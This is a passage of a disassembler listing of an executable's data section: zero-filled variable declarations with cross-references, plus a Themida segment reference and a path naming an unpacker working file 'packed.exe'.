DATA XREF: sub_401000+45r ; sub_4014E0+298w ... dword_445370 dd 0 ; DATA XREF: sub_4014E0+651w ; sub_4014E0+78Cr ... dword_445374 dd 0 ; DATA XREF: sub_4014E0+637w ; sub_4014E0+77Cr ... dword_445378 dd 0 ; DATA XREF: sub_4014E0+C92w dword_44537C dd 0 ; DATA XREF: sub_4014E0+879w ; ___:00411539r ... dword_445380 dd 0 ; DATA XREF: sub_4014E0+112w dword_445384 dd 0 ; DATA XREF: sub_4014E0+BE7w ; sub_4014E0+C22r dword_445388 dd 0 ; DATA XREF: sub_4014E0+5C2w ; sub_4014E0+730r ... dword_44538C dd 0 ; DATA XREF: sub_4014E0+459w ; sub_4014E0+4BBr dword_445390 dd 0 ; DATA XREF: sub_4014E0+49Aw ; sub_4014E0+4E3r dword_445394 dd 0 ; DATA XREF: sub_4014E0+466w ; sub_4014E0+4C3r dword_445398 dd 0 ; DATA XREF: sub_4013FF+3Er ; sub_401445+80r ... dword_44539C dd 0 ; DATA XREF: sub_4014E0+1A6w ; sub_4014E0+1E2r ... dword_4453A0 dd 0 ; DATA XREF: sub_4014E0+9F2w ; sub_4014E0+A53r ... dword_4453A4 dd 0 ; DATA XREF: sub_4014E0+158w ; sub_4014E0+1ADr ... dword_4453A8 dd 0 ; DATA XREF: sub_4014E0+8Cw ; sub_4014E0+E2r ... dword_4453AC dd 0 ; DATA XREF: sub_4014E0+610w ; sub_4014E0+764r ... dword_4453B0 dd 0 ; DATA XREF: sub_4014E0+B43w ; sub_4014E0+B5Fr dword_4453B4 dd 0 ; DATA XREF: sub_4014E0+33Aw ; sub_4133BB+55r dword_4453B8 dd 0 ; DATA XREF: sub_4014E0+27Ew ; sub_4014E0+2D3r dword_4453BC dd 0 ; DATA XREF: sub_4014E0+BAAw dword_4453C0 dd 0 ; DATA XREF: sub_4014E0+AECw ; sub_402599+D4r dword_4453C4 dd 0 ; DATA XREF: sub_4014E0+ADFw ; sub_4014E0+AE6r ... dword_4453C8 dd 0 ; DATA XREF: sub_4014E0+58Ew ; sub_4014E0+700r ... dword_4453CC dd 0 ; DATA XREF: sub_4014E0+692w ; sub_4014E0+7B4r ... dword_4453D0 dd 0 ; DATA XREF: sub_4014E0+BF4w ; sub_4014E0+C2Fr dword_4453D4 dd 0 ; DATA XREF: sub_4014E0+5B5w ; sub_4014E0+724r ... dword_4453D8 dd 0 ; DATA XREF: sub_4014E0+9B1w ; sub_4014E0+A2Br ... dword_4453DC dd 0 ; DATA XREF: sub_4014E0+65Ew ; sub_4014E0+794r ... dword_4453E0 dd 0 ; DATA XREF: sub_401317+12r ; sub_4014E0+6B9w ... dword_4453E4 dd 0 ; DATA XREF: sub_4014E0+59Bw ; sub_4014E0+70Cr ... dword_4453E8 dd 0 ; DATA XREF: sub_4014E0+B36w ; sub_4014E0+B57r dword_4453EC dd 0 ; DATA XREF: sub_4014E0+540w ; sub_4014E0+6C4r dword_4453F0 dd 0 ; DATA XREF: sub_4014E0+B29w ; sub_4014E0+B4Ar ... dword_4453F4 dd 0 ; DATA XREF: sub_4014E0+31w ; sub_4014E0+ADr ... dword_4453F8 dd 0 ; DATA XREF: sub_4014E0+17Fw ; sub_4014E0+1CAr align 10h dword_445400 dd 0 ; DATA XREF: sub_4014E0+927w ; sub_4014E0+93Br dword_445404 dd 0 ; DATA XREF: sub_4014E0+99w ; sub_4014E0+EAr ... dword_445408 dd 0 ; DATA XREF: sub_4014E0:loc_4015DEw ; sub_4014E0+12Bw ... dword_44540C dd 0 ; DATA XREF: sub_4014E0+126w ; sub_40219C+1Cr dword_445410 dd 0 ; DATA XREF: sub_4014E0:loc_4016CEw ; sub_4014E0:loc_401735w ... dword_445414 dd 0 ; DATA XREF: sub_4014E0+250w ; sub_40219C+50r dword_445418 dd 0 ; DATA XREF: sub_4014E0:loc_4017E8w ; sub_4014E0:loc_40182Dw ... dword_44541C dd 0 ; DATA XREF: sub_4014E0+41Ew ; sub_40219C+84r dword_445420 dd 0 ; DATA XREF: sub_4014E0:loc_4019E4w ; sub_40219C:loc_40224Cr dword_445424 dd 0 ; DATA XREF: sub_4014E0+4FFw ; sub_40219C+B8r dword_445428 dd 0 ; DATA XREF: sub_4014E0:loc_401CB5w ; sub_40219C:loc_402280r dword_44542C dd 0 ; DATA XREF: sub_4014E0+7D0w ; sub_40219C+ECr dword_445430 dd 0 ; DATA XREF: sub_4014E0:loc_401DA0w ; sub_4014E0+8EFw ... dword_445434 dd 0 ; DATA XREF: sub_4014E0+8EAw ; sub_40219C+120r dword_445438 dd 0 ; DATA XREF: sub_4014E0:loc_401E34w ; sub_40219C:loc_4022E8r dword_44543C dd 0 ; DATA XREF: sub_4014E0+94Fw ; sub_40219C+154r dword_445440 dd 0 ; DATA XREF: sub_4014E0:loc_401F50w ; sub_40219C:loc_40231Cr ... dword_445444 dd 0 ; DATA XREF: sub_4014E0+A6Bw ; sub_40219C+188r dword_445448 dd 0 ; DATA XREF: sub_4014E0:loc_401F9Aw ; sub_40219C:loc_402350r dword_44544C dd 0 ; DATA XREF: sub_4014E0+AB5w ; sub_40219C+1BCr dword_445450 dd 0 ; DATA XREF: sub_4014E0:loc_401FE4w ; sub_40219C:loc_402384r dword_445454 dd 0 ; DATA XREF: sub_4014E0+AFFw ; sub_40219C+1F0r dword_445458 dd 0 ; DATA XREF: sub_4014E0:loc_402058w ; sub_40219C:loc_4023B8r dword_44545C dd 0 ; DATA XREF: sub_4014E0+B73w ; sub_40219C+224r dword_445460 dd 0 ; DATA XREF: sub_4014E0:loc_4020A2w ; sub_40219C:loc_4023ECr dword_445464 dd 0 ; DATA XREF: sub_4014E0+BBDw ; sub_40219C+258r dword_445468 dd 0 ; DATA XREF: sub_4014E0:loc_402140w ; sub_40219C:loc_402420r dword_44546C dd 0 ; DATA XREF: sub_4014E0+C5Bw ; sub_40219C+28Cr dword_445470 dd 0 ; DATA XREF: sub_4014E0:loc_40218Aw ; sub_40219C:loc_402454r dword_445474 dd 0 ; DATA XREF: sub_4014E0+CA5w ; sub_40219C+2C0r dword_445478 dd 5 dup(0) ; DATA XREF: sub_40267D+32o dword_44548C dd 0 ; DATA XREF: ___:004024D8o dword_445490 dd 0 ; DATA XREF: ___:00402B1Eo ; sub_403038+AD7o ... dd 5 dup(0) dword_4454A8 dd 0 ; DATA XREF: sub_403038+B33r ; sub_41045F+60r dd 0A9h dup(0) dword_445750 dd 230h dup(0) ; DATA XREF: ___:0044087Co dword_446010 dd 0 ; DATA XREF: sub_403038+2F8Cw ; sub_403038+4A15r ... dd 7Fh dup(0) dword_446210 dd 0 ; DATA XREF: sub_408E53+41w ; sub_408F8E+40w ... dword_446214 dd 0 ; DATA XREF: sub_408E53+47w ; sub_408F8E+46w ... dword_446218 dd 0 ; DATA XREF: sub_408E53+52w ; sub_408F8E+3Ar ... dword_44621C dd 0 ; DATA XREF: sub_401317+Cr ; sub_402D58+B9w ... dword_446220 dd 0 ; DATA XREF: sub_408F8E+75r ; sub_40916F+2Aw ... dword_446224 dd 0 ; DATA XREF: ___:00402B6Aw ; ___:00402BE2w ... byte_446228 db 0 ; DATA XREF: sub_402D58+91o ; sub_403038+495Ar ... align 4 dword_44622C dd 278Ah dup(0) dword_450054 dd 11FBh dup(0) ; DATA XREF: ___:0043F2A8o db 3 dup(0) byte_454843 db 0 ; DATA XREF: ___:00444884o dword_454844 dd 2C0h dup(0) db 0 byte_455345 db 3 dup(0) ; DATA XREF: ___:00444D24o dd 0C2h dup(0) db 3 dup(0) byte_455653 db 0 ; DATA XREF: ___:004446F0o dd 3Fh dup(0) db 3 dup(0) byte_455753 db 0 ; DATA XREF: ___:004446F8o dd 0BBh dup(0) db 3 dup(0) byte_455A43 db 0 ; DATA XREF: ___:00444B04o dd 2E00h dup(0) dword_461244 dd 0BC5h dup(0) ; DATA XREF: Themida_:00560528o db 2 dup(0) word_46415A dw 0 ; DATA XREF: ___:00444934o ; ___:00444B5Co ... dd 47Ah dup(0) db 0 byte_465345 db 3 dup(0) ; DATA XREF: ___:00444A34o ; ___:00444D1Co dd 0C2h dup(0) db 3 dup(0) byte_465653 db 0 ; DATA XREF: ___:00444D84o dd 3D3Dh dup(0) dword_474B48 dd 0BFh dup(0) ; DATA XREF: ___:00444B24o db 0 byte_474E45 db 3 dup(0) ; DATA XREF: ___:00444C64o ; ___:00444D94o dd 0FEh dup(0) db 0 byte_475241 db 3 dup(0) ; DATA XREF: ___:00444A10o dd 40h dup(0) db 0 byte_475345 db 3 dup(0) ; DATA XREF: ___:00444850o ; ___:00444D2Co dd 3D44h dup(0) db 2 dup(0) word_48485A dw 0 ; DATA XREF: ___:00444BD4o ; ___:00444BECo dd 2BAh dup(0) db 0 byte_485345 db 3 dup(0) ; DATA XREF: ___:00444D34o dd 2B42h dup(0) db 2 dup(0) word_490052 dw 0 ; DATA XREF: ___:0043F2A0o dword_490054 dd 0E6Bh dup(0) ; DATA XREF: ___:0043F709o ; ___:0043FF19o dword_493A00 dd 396h dup(0) ; DATA XREF: Themida_:0055D840o db 2 dup(0) word_49485A dw 0 ; DATA XREF: ___:00444BDCo ; ___:00444BFCo dd 17Ah dup(0) db 0 byte_494E45 db 3 dup(0) ; DATA XREF: ___:00444C3Co ; ___:00444CBCo dd 0FEh dup(0) db 3 dup(0) byte_495243 db 0 ; DATA XREF: ___:004448B0o align 10h dword_495250 dd 3Dh dup(0) ; DATA XREF: ___:00444B4Co db 0 byte_495345 db 3 dup(0) ; DATA XREF: ___:00444D4Co dd 3EBFh dup(0) db 0 byte_4A4E45 db 3 dup(0) ; DATA XREF: ___:00444C44o dword_4A4E48 dd 4202h dup(0) db 3 dup(0) byte_4B5653 db 0 ; DATA XREF: ___:00444B54o dd 3BBBh dup(0) db 2 dup(0) word_4C4542 dw 0 ; DATA XREF: ___:0044477Co dword_4C4544 dd 0BFh dup(0) ; DATA XREF: ___:00444CACo db 3 dup(0) byte_4C4843 db 0 ; DATA XREF: ___:00444A68o dd 180h dup(0) db 0 byte_4C4E45 db 3 dup(0) ; DATA XREF: ___:00444C24o dd 3Eh dup(0) db 3 dup(0) byte_4C4F43 db 0 ; DATA XREF: ___:004449B8o dd 0C0h dup(0) db 2 dup(0) word_4C5246 dw 0 ; DATA XREF: ___:004448D4o ; ___:00444C8Co dd 3Fh dup(0) db 0 byte_4C5345 db 3 dup(0) ; DATA XREF: ___:00444A60o ; ___:00444CFCo db 0 byte_4C5349 db 3 dup(0) ; DATA XREF: ___:004446C4o ; ___:004446CCo dd 1C0h dup(0) db 2 dup(0) word_4C5A4E dw 0 ; DATA XREF: ___:00444B2Co ; ___:00444B34o dd 3570h dup(0) dword_4D3010 dd 0 ; DATA XREF: ___:0040278Bw ; sub_408E53+13o ... dword_4D3014 dd 0 ; DATA XREF: ___:004027CFw ; sub_403038:loc_406E81r ... dword_4D3018 dd 0 ; DATA XREF: ___:loc_402C6Ao dword_4D301C dd 20h dup(0) ; DATA XREF: ___:00402C21o ; ___:00402CBBo ... dword_4D309C dd 10h dup(0) ; DATA XREF: ___:00402C37o dword_4D30DC dd 24h dup(0) ; DATA XREF: ___:00402C4Eo dword_4D316C dd 0 ; DATA XREF: ___:00402C42w ; ___:00402CD2w ... dword_4D3170 dd 0 ; DATA XREF: ___:00402C61w align 10h byte_4D3180 db 0 ; DATA XREF: sub_402EC0+28r ; sub_402EC0+30o align 4 dword_4D3184 dd 0 ; DATA XREF: ___:00402C6Fw ; ___:00402C86r ... dword_4D3188 dd 0 ; DATA XREF: ___:00402C26w ; sub_403038+884r dword_4D318C dd 0 ; DATA XREF: ___:00436DF8o dword_4D3190 dd 0 ; DATA XREF: ___:004029DCo dword_4D3194 dd 0 ; DATA XREF: sub_403038+558Fo dword_4D3198 dd 0 ; DATA XREF: sub_403038+3796o dword_4D319C dd 0 ; DATA XREF: sub_403038+335Ao dword_4D31A0 dd 2 dup(0) ; DATA XREF: sub_403038+476Bo dword_4D31A8 dd 0 ; DATA XREF: ___:004089ACo dword_4D31AC dd 0 ; DATA XREF: sub_408AA4+33o dword_4D31B0 dd 0 ; DATA XREF: sub_408AA4+63o byte_4D31B4 db 0 ; DATA XREF: sub_408D4C+6Ar ; sub_408D4C+98w align 10h dword_4D31C0 dd 0 ; DATA XREF: sub_409757+18r ; sub_409BC6+92w ... dword_4D31C4 dd 0 ; DATA XREF: sub_409ECC+4Dr ; sub_409ECC+2EDw ... dd 12h dup(0) dword_4D3210 dd 0 ; DATA XREF: sub_40909B+16o ; sub_4090BA+19o dword_4D3214 dd 3CFh dup(0) ; DATA XREF: sub_40904E+3Do db 2 dup(0) word_4D4152 dw 0 ; DATA XREF: ___:off_441FC4o dd 37Ch dup(0) dword_4D4F44 dd 9Fh dup(0) ; DATA XREF: ___:00444960o dword_4D51C0 dd 6 dup(0) ; DATA XREF: sub_409ECC+CFo ; sub_409ECC+138o ... dword_4D51D8 dd 0 ; DATA XREF: sub_4097CE+83w ; sub_4097CE+102o dword_4D51DC dd 41h dup(0) ; DATA XREF: sub_4097CE+47o dword_4D52E0 dd 19h dup(0) ; DATA XREF: sub_4097CE+6Ao db 0 byte_4D5345 db 3 dup(0) ; DATA XREF: ___:00444748o ; ___:00444D3Co dd 27h dup(0) dword_4D53E4 dd 0 ; DATA XREF: sub_4097CE+F8w ; sub_4097CE+114r dword_4D53E8 dd 0 ; DATA XREF: sub_4097CE+58w dword_4D53EC dd 0 ; DATA XREF: sub_4097CE+53w ; sub_4097CE+D5r dword_4D53F0 dd 15h dup(0) ; DATA XREF: sub_4097CE+9Bo ; sub_4097CE+BBo db 3 dup(0) byte_4D5447 db 0 ; DATA XREF: ___:00444858o dd 0Ah dup(0) dword_4D5470 dd 0 ; DATA XREF: sub_4097CE+90w dword_4D5474 dd 0 ; DATA XREF: sub_4097CE+A8w ; sub_4097CE+C8w dword_4D5478 dd 0 ; DATA XREF: sub_4097CE:loc_4098F8r align 10h dword_4D5480 dd 0 ; DATA XREF: sub_4097CE+1A6w ; sub_4097CE+225o dword_4D5484 dd 41h dup(0) ; DATA XREF: sub_4097CE+168o dword_4D5588 dd 41h dup(0) ; DATA XREF: sub_4097CE+18Do dword_4D568C dd 0 ; DATA XREF: sub_4097CE+21Bw ; sub_4097CE+237r dword_4D5690 dd 0 ; DATA XREF: sub_4097CE+17Bw dword_4D5694 dd 0 ; DATA XREF: sub_4097CE+176w ; sub_4097CE+1F8r dword_4D5698 dd 20h dup(0) ; DATA XREF: sub_4097CE+1BEo ; sub_4097CE+1DEo dword_4D5718 dd 0 ; DATA XREF: sub_4097CE+1B3w dword_4D571C dd 0 ; DATA XREF: sub_4097CE+1CBw ; sub_4097CE+1EBw dword_4D5720 dd 0 ; DATA XREF: sub_4097CE:loc_409A1Br align 8 dword_4D5728 dd 0 ; DATA XREF: sub_4097CE+2F0w ; sub_4097CE+349o dword_4D572C dd 0A2h dup(0) ; DATA XREF: sub_4097CE+2DEo dword_4D59B4 dd 41h dup(0) ; DATA XREF: sub_4097CE+2ACo dword_4D5AB8 dd 0 ; DATA XREF: sub_4097CE+2D5w ; sub_4097CE+2FCr align 10h dword_4D5AC0 dd 0 ; DATA XREF: sub_4097CE+33Fw ; sub_4097CE+35Br dword_4D5AC4 dd 0 ; DATA XREF: sub_4097CE+302w dword_4D5AC8 dd 0 ; DATA XREF: sub_4097CE+30Fw dword_4D5ACC dd 0 ; DATA XREF: sub_4097CE+2CFw dd 0 dword_4D5AD4 dd 0 ; DATA XREF: sub_4097CE:loc_409B3Fr dd 0 dword_4D5ADC dd 0 ; DATA XREF: sub_409475+Er ; sub_409475+31r dword_4D5AE0 dd 0 ; DATA XREF: sub_409475+9r ; sub_409475+25r dword_4D5AE4 dd 81h dup(0) ; DATA XREF: sub_40A33F+8Do dword_4D5CE8 dd 0 ; DATA XREF: ___:0040A7A5w dword_4D5CEC dd 0 ; DATA XREF: ___:0040A652w ; ___:loc_40A694r dword_4D5CF0 dd 0 ; DATA XREF: ___:0040A77Cw ; ___:0040AC0Cw ... dword_4D5CF4 dd 40h dup(0) ; DATA XREF: ___:0040A788o ; sub_40ACD9+C0o dword_4D5DF4 dd 0 ; DATA XREF: ___:0040A66Dw ; ___:0040A76Er ... dword_4D5DF8 dd 2Bh dup(0) ; DATA XREF: ___:0040A70Fo dword_4D5EA4 dd 81h dup(0) ; DATA XREF: ___:0040A736o db 2 dup(0) word_4D60AA dw 0 ; DATA XREF: ___:0040AA4Bo ; ___:0040AA78o ... dword_4D60AC dd 0 ; DATA XREF: ___:loc_40AB07o db 2 dup(0) word_4D60B2 dw 0 ; DATA XREF: ___:0040A7D0o ; ___:0040A802o ... dword_4D60B4 dd 4 dup(0) ; DATA XREF: ___:loc_40A7E1o dword_4D60C4 dd 2Eh dup(0) ; DATA XREF: ___:0040A747o db 2 dup(0) word_4D617E dw 0 ; DATA XREF: ___:0040A75Bo dd 1Eh dup(0) dword_4D61F8 dd 0 ; DATA XREF: ___:0040ABFFw ; ___:0040AC18r ... dword_4D61FC dd 0 ; DATA XREF: ___:0040AC99w ; ___:0040ACC6r dd 2 dup(0) dword_4D6208 dd 2 dup(0) ; DATA XREF: sub_40B7CB+68o dword_4D6210 dd 0 ; DATA XREF: sub_40B26B+13o dword_4D6214 dd 2 dup(0) ; DATA XREF: sub_40BABA+10o dword_4D621C dd 40h dup(0) ; DATA XREF: sub_40C33C+19o dword_4D631C dd 0 ; DATA XREF: sub_40C33C+71r ; sub_40C33C+85r dword_4D6320 dd 19h dup(0) ; DATA XREF: sub_40C33C+93o dword_4D6384 dd 0 ; DATA XREF: ___:0040CFB0r dd 0 dd 0 dword_4D6390 dd 0 ; DATA XREF: ___:0040CF83r dword_4D6394 dd 0 ; DATA XREF: ___:0040CF65r ; ___:0040CFCEr dd 0 dword_4D639C dd 0 ; DATA XREF: ___:0040D80Aw ; ___:0040D831r ... dd 3 dup(0) dword_4D63AC dd 3 dup(0) ; DATA XREF: sub_40E8F7+74o dword_4D63B8 dd 0 ; DATA XREF: ___:0040F11Er align 10h dword_4D63C0 dd 3 dup(0) ; DATA XREF: ___:0040F111o dword_4D63CC dd 1000h dup(0) ; DATA XREF: sub_410557+1Do ; ___:00410641o ... dword_4DA3CC dd 4 dup(0) ; DATA XREF: sub_410557+13o ; ___:00410688o ... dword_4DA3DC dd 0 ; DATA XREF: ___:0041148Eo dword_4DA3E0 dd 0Eh dup(0) ; DATA XREF: sub_411586+Fo dword_4DA418 dd 81h dup(0) ; DATA XREF: sub_411D15+6Ao dword_4DA61C dd 0 ; DATA XREF: sub_411FA3+E9o dword_4DA620 dd 17h dup(0) ; DATA XREF: sub_412564:loc_412681o ; sub_412564+131o ... dword_4DA67C dd 80h dup(0) ; DATA XREF: sub_4132FD+7Co ; sub_4132FD+A5o dword_4DA87C dd 0 ; DATA XREF: ___:00412923w ; ___:0041292Br ... dword_4DA880 dd 17h dup(0) ; DATA XREF: sub_4131C9:loc_4132EBo ; sub_4131C9+12Do dword_4DA8DC dd 80h dup(0) ; DATA XREF: sub_41281F+4Bo ; sub_41281F+7Do ... byte_4DAADC db 0 ; DATA XREF: ___:00412907r ; ___:00412912w align 10h dword_4DAAE0 dd 80h dup(0) ; DATA XREF: sub_412B35+61o ; sub_412B35+88o ... dword_4DACE0 dd 81h dup(0) ; DATA XREF: sub_41243B+33o ; sub_41243B+50o ... dword_4DAEE4 dd 0 ; DATA XREF: sub_41379E:loc_4137BFr ; sub_41388D+54r ... dword_4DAEE8 dd 0 ; DATA XREF: sub_41379Er ; sub_41388D+37r ... dword_4DAEEC dd 0 ; DATA XREF: sub_4137CE+1Ar ; sub_4139E2+83o dword_4DAEF0 dd 0 ; DATA XREF: sub_41379E:loc_4137B2r ; sub_4139E2+11Bw dword_4DAEF4 dd 0Dh dup(0) ; DATA XREF: sub_41388D+13o ; sub_4139E2:loc_413B23o dword_4DAF28 dd 0 ; DATA XREF: sub_41388D+CDr ; sub_41388D+ECr ... align 10h dword_4DAF30 dd 0 ; DATA XREF: sub_413806+9o dword_4DAF34 dd 0 ; DATA XREF: sub_4139E2+DFo dword_4DAF38 dd 0 ; DATA XREF: sub_4139E2:loc_413B1Eo dword_4DAF3C dd 0Eh dup(0) ; DATA XREF: sub_413F6C+47o dword_4DAF74 dd 2 dup(0) ; DATA XREF: sub_414129+13o byte_4DAF7C db 0 ; DATA XREF: ___:00414837o ; ___:0041487Ar align 10h dd 3Fh dup(0) word_4DB07C dw 0 ; DATA XREF: sub_4144A9+2Fr align 10h dword_4DB080 dd 2 dup(0) ; DATA XREF: sub_4144A9+8o dword_4DB088 dd 2 dup(0) ; DATA XREF: sub_4144A9+18o dword_4DB090 dd 2 dup(0) ; DATA XREF: ___:00414618o dword_4DB098 dd 28F0F60h ; DATA XREF: sub_414EA0+262w ; sub_4152A0:loc_4156DBr ... dword_4DB09C dd 1569h ; DATA XREF: sub_414EA0:loc_4150B3r ; sub_414EA0+21Cw ... dword_4DB0A0 dd 28F0030h ; DATA XREF: sub_414EA0:loc_4150E9r ; sub_414EA0+252r ... dword_4DB0A4 dd 119Eh ; DATA XREF: sub_414EA0+222r ; sub_414EA0+22Aw ... dword_4DB0A8 dd 119Eh ; DATA XREF: sub_414EA0+235r ; sub_414EA0+243w ... dword_4DB0AC dd 0 ; DATA XREF: sub_428050+217r dword_4DB0B0 dd 0A28h ; DATA XREF: sub_4163D0:loc_416426r dd 501h, 5, 1 dword_4DB0C0 dd 1 ; DATA XREF: ___:loc_402A84r ; ___:004263E6w dword_4DB0C4 dd 28F0AF0h ; DATA XREF: ___:00402A8Dr ; ___:00402AADr ... dd 0 dword_4DB0CC dd 28F0A40h ; DATA XREF: ___:0042624Bw ; ___:00426251r ... dword_4DB0D0 dd 0 ; DATA XREF: sub_430F50+49r dword_4DB0D4 dd 0 ; DATA XREF: sub_42D080+24r ; sub_4301F0+6r ... dd 0 off_4DB0DC dd offset aCM_unpackerPac ; DATA XREF: ___:00426346w ; ___:0042635Cr ; "C:\\m_unpacker\\packed.exe" dd 0 byte_4DB0E4 db 0 ; DATA XREF: sub_4179C0+30w ; sub_418E70+8r align 4 dword_4DB0E8 dd 0 ; DATA XREF: sub_4179C0:loc_4179E3w dword_4DB0EC dd 0 ; DATA XREF: sub_4179C0+9r ; sub_4179C0:loc_417A8Bw dword_4DB0F0 dd 0 ; DATA XREF: sub_4179C0+95r ; sub_4179C0+AFw align 8 dword_4DB0F8 dd 0 ; DATA XREF: sub_418BB0+88r ; sub_418BB0+F8w align 10h dword_4DB100 dd 0 ; DATA XREF: sub_418BB0+7Dr ; sub_418BB0+100w ... byte_4DB104 db 2 dup(0) ; DATA XREF: sub_418BB0+109w word_4DB106 dw 0 ; DATA XREF: sub_418BB0+52r dword_4DB108 dd 0 ; DATA XREF: sub_418BB0+3Dr ; sub_418BB0+112w ... dword_4DB10C dd 0 ; DATA XREF: sub_418BB0+11Aw dword_4DB110 dd 0 ; DATA XREF: sub_41E220:loc_41E4E5r ; sub_41E220+2CEw ... dword_4DB114 dd 0 ; DATA XREF: ___:00419144r ; ___:0041914Fw dword_4DB118 dd 0 ; DATA XREF: sub_4190B0+10w dword_4DB11C dd 0 ; DATA XREF: ___:004261EBr ; ___:loc_426264r ... dd 0 dword_4DB124 dd 0 ; DATA XREF: sub_41A9A0+3r ; ___:0041A9D3r ... dword_4DB128 dd 0 ; DATA XREF: sub_41AB10+93r ; sub_41AB10+C8w ... dword_4DB12C dd 0 ; DATA XREF: sub_414DB0+9r ; sub_414DD0+Fr ... dword_4DB130 dd 0 ; DATA XREF: ___:0041B63Er ; ___:0041B649w ... align 8 dword_4DB138 dd 1446B0h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: ___:off_443BB4o dword_4DB150 dd 144638h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: ___:off_443BF4o dword_4DB168 dd 144688h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: ___:off_443BD4o dword_4DB180 dd 144660h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: ___:off_443BE4o dword_4DB198 dd 1 ; DATA XREF: sub_41FB40:loc_41FE52r ; sub_41FE90+3w ... dword_4DB19C dd 0 ; DATA XREF: sub_420720+A6r ; sub_420720+C9w ... dd 0 dword_4DB1A4 dd 0 ; DATA XREF: sub_425060+C7o ; sub_425060+140o word_4DB1A8 dw 0 ; DATA XREF: sub_425060+E8r align 4 dword_4DB1AC dd 0 ; DATA XREF: sub_425060+EFw ; sub_425060+159o dword_4DB1B0 dd 0 ; DATA XREF: sub_424DC0:loc_424E42r ; sub_424DC0+DDw ... align 8 dword_4DB1B8 dd 0 ; DATA XREF: sub_419D80+57r ; sub_419D80:loc_419F16r ... dword_4DB1BC dd 0 ; DATA XREF: sub_42B580+4r dword_4DB1C0 dd 0 ; DATA XREF: sub_42B250+18r dword_4DB1C4 dd 0 ; DATA XREF: sub_42A8D0+4r dword_4DB1C8 dd 0 ; DATA XREF: sub_419D80+B9r ; sub_419D80+16Cr ... dword_4DB1CC dd 0 ; DATA XREF: sub_424DC0+11Fw dword_4DB1D0 dd 1 ; DATA XREF: sub_425B90+26r ; sub_425B90+4Bw ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:00426339o ; ___:00426346o ... align 10h dd 3Ah dup(0) dword_4DB2D8 dd 1 ; DATA XREF: ___:00426844r ; ___:0042685Cw ... dword_4DB2DC dd 0 ; DATA XREF: sub_426B30+2Br ; sub_426B30+34r dword_4DB2E0 dd 0 ; DATA XREF: ___:loc_427136r ; ___:00427142w ... dword_4DB2E4 dd 0 ; DATA XREF: ___:loc_42714Ar ; ___:00427155w ... dword_4DB2E8 dd 0 ; DATA XREF: ___:loc_42715Dr ; ___:00427169w ... dword_4DB2EC dd 0 ; DATA XREF: ___:loc_427170r ; ___:0042717Cw ... dword_4DB2F0 dd 0 ; DATA XREF: ___:loc_4270CAr ; ___:004270E5w dword_4DB2F4 dd 0 ; DATA XREF: sub_427610+Dr ; sub_427610+39w ... dword_4DB2F8 dd 0 ; DATA XREF: sub_427610+5Aw ; sub_427610:loc_427683r ... dword_4DB2FC dd 0 ; DATA XREF: sub_427610+6Ew ; sub_427610+8Br ... dword_4DB300 dd 1 ; DATA XREF: sub_427D80+26r ; sub_427D80+46w ... dword_4DB304 dd 0 ; DATA XREF: sub_41E220+9r dword_4DB308 dd 0 ; DATA XREF: sub_428F10+17w ; sub_428F10+6Dw ... align 10h dword_4DB310 dd 0 ; DATA XREF: sub_428F10+59o ; sub_428F10+77r dword_4DB314 dd 10h dup(0) ; DATA XREF: sub_428F10+103o word_4DB354 dw 0 ; DATA XREF: sub_4292F0+FCr word_4DB356 dw 0 ; DATA XREF: sub_428F10+88r ; sub_4292F0+145r ... word_4DB358 dw 0 ; DATA XREF: sub_4292F0+132r word_4DB35A dw 0 ; DATA XREF: sub_4292F0+13Br ; sub_4292F0+18Br word_4DB35C dw 0 ; DATA XREF: sub_4292F0+126r ; sub_4292F0+181r word_4DB35E dw 0 ; DATA XREF: sub_4292F0+11Cr ; sub_4292F0+177r word_4DB360 dw 0 ; DATA XREF: sub_4292F0+113r ; sub_4292F0+16Er word_4DB362 dw 0 ; DATA XREF: sub_4292F0+109r ; sub_4292F0+164r dword_4DB364 dd 0 ; DATA XREF: sub_428F10+93r ; sub_428F10+CEr dword_4DB368 dd 10h dup(0) ; DATA XREF: sub_428F10+149o word_4DB3A8 dw 0 ; DATA XREF: sub_4292F0+43r word_4DB3AA dw 0 ; DATA XREF: sub_428F10+ABr ; sub_4292F0+8Cr ... word_4DB3AC dw 0 ; DATA XREF: sub_4292F0+79r word_4DB3AE dw 0 ; DATA XREF: sub_4292F0+82r ; sub_4292F0+D2r word_4DB3B0 dw 0 ; DATA XREF: sub_4292F0+6Dr ; sub_4292F0+C8r word_4DB3B2 dw 0 ; DATA XREF: sub_4292F0+63r ; sub_4292F0+BEr word_4DB3B4 dw 0 ; DATA XREF: sub_4292F0+5Ar ; sub_4292F0+B5r word_4DB3B6 dw 0 ; DATA XREF: sub_4292F0+50r ; sub_4292F0+ABr dword_4DB3B8 dd 0 ; DATA XREF: sub_428F10+B6r ; sub_428F10+C9r dword_4DB3BC dd 0 ; DATA XREF: sub_428F10+18Dr ; sub_428F10+196r ... dword_4DB3C0 dd 0 ; DATA XREF: sub_428EB0+3r ; sub_428EB0+16r ... dword_4DB3C4 dd 77C26E79h ; DATA XREF: sub_42A780:loc_42A7AEr ; sub_42A780+37r ... dword_4DB3C8 dd 0 ; DATA XREF: sub_42A8D0+75r ; sub_42A8D0+86r ... dword_4DB3CC dd 0 ; DATA XREF: sub_42B250+25o ; sub_42B250+93r ... dword_4DB3D0 dd 0 ; DATA XREF: sub_42B250+42o ; sub_42B250+A3r ... dword_4DB3D4 dd 0 ; DATA XREF: sub_42B250+5Fo ; sub_42B250+7Cr ... dword_4DB3D8 dd 0 ; DATA XREF: sub_42B580+A0r ; sub_42B580+B1r ... dword_4DB3DC dd 0 ; DATA XREF: sub_42B9E0+2AAr ; sub_42B9E0+2B5r ... dword_4DB3E0 dd 0 ; DATA XREF: sub_42B9E0+2CCr ; sub_42B9E0+2D7r ... dword_4DB3E4 dd 3 dup(0) ; DATA XREF: sub_424DC0+94o ; sub_424DC0+F3o word_4DB3F0 dw 0 ; DATA XREF: sub_42B9E0+36r align 8 word_4DB3F8 dw 0 ; DATA XREF: sub_42B6B0+Fr align 4 db 2 dup(0) word_4DB3FE dw 0 ; DATA XREF: sub_42B250+Fr db 2 dup(0) word_4DB402 dw 0 ; DATA XREF: sub_42A9B0+Fr word_4DB404 dw 0 ; DATA XREF: sub_42A9B0+1Ar align 4 dword_4DB408 dd 0 ; DATA XREF: sub_42BE10+155r ; 